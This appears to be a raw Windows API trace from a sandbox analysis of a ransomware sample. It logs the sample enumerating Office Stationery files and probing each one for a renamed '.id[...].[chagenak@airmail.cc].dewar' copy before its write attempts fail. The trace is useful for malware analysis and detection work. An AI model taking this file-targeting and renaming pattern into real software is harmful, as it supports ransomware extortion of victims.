CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.624] SetEvent (hEvent=0x118) returned 1 [0238.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.724] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2575) returned 1 [0238.724] CloseHandle (hObject=0xe0) returned 1 [0238.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0238.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0238.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.725] SetEvent (hEvent=0x118) returned 1 [0238.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.726] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2319) returned 1 [0238.726] CloseHandle (hObject=0xe0) returned 1 [0238.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0238.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0238.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.728] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=645) returned 1 [0238.728] CloseHandle (hObject=0xe0) returned 1 [0238.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0238.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0238.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.729] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3792) returned 1 [0238.729] CloseHandle (hObject=0xe0) returned 1 [0238.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0238.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0238.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.731] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=231) returned 1 [0238.731] CloseHandle (hObject=0xe0) returned 1 [0238.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0238.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0238.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.733] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=23871) returned 1 [0238.733] CloseHandle (hObject=0xe0) returned 1 [0238.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0238.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0238.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.739] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=5524) returned 1 [0238.739] CloseHandle (hObject=0xe0) returned 1 [0238.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0238.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0238.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.740] SetEvent (hEvent=0x118) returned 1 [0238.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.741] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=10340) returned 1 [0238.741] CloseHandle (hObject=0xe0) returned 1 [0238.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0238.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0238.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0238.745] GetFileSizeEx (in: hFile=0xe0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=116724) returned 1 [0238.745] CloseHandle (hObject=0xe0) returned 1 [0238.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0238.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0238.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.746] SetEvent (hEvent=0x118) returned 1 [0238.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0238.752] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=237) returned 1 [0238.752] CloseHandle (hObject=0x200) returned 1 [0238.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0238.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0238.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.753] SetEvent (hEvent=0x118) returned 1 [0238.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0238.754] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=6406) returned 1 [0238.754] CloseHandle (hObject=0x200) returned 1 [0238.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0238.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0238.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0238.761] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2920) returned 1 [0238.761] CloseHandle (hObject=0x200) returned 1 [0238.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0238.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0238.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0238.762] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=7498) returned 1 [0238.762] CloseHandle (hObject=0x200) returned 1 [0238.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0238.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0238.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.239] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=235) returned 1 [0239.239] CloseHandle (hObject=0x1e0) returned 1 [0239.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0239.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0239.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.240] SetEvent (hEvent=0x118) returned 1 [0239.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.243] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1920) returned 1 [0239.243] CloseHandle (hObject=0x1e0) returned 1 [0239.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0239.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0239.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0239.244] SetEvent (hEvent=0x118) returned 1 [0239.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0239.245] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=15776) returned 1 [0239.245] CloseHandle (hObject=0x1e0) returned 1 [0239.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0239.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0239.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0239.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 